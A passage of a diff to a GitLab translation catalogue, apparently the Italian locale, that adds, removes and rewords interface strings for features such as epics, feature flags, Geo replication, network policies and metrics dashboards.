-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Blocca la condivisione di un progetto di %{group} con altri gruppi"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Intervallo di Pattern"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr "Membri"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Richieste di merge"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr "Monitoraggio"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr "Nessuna Repository"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr "Nessuna pianificazione"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr "Novembre"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
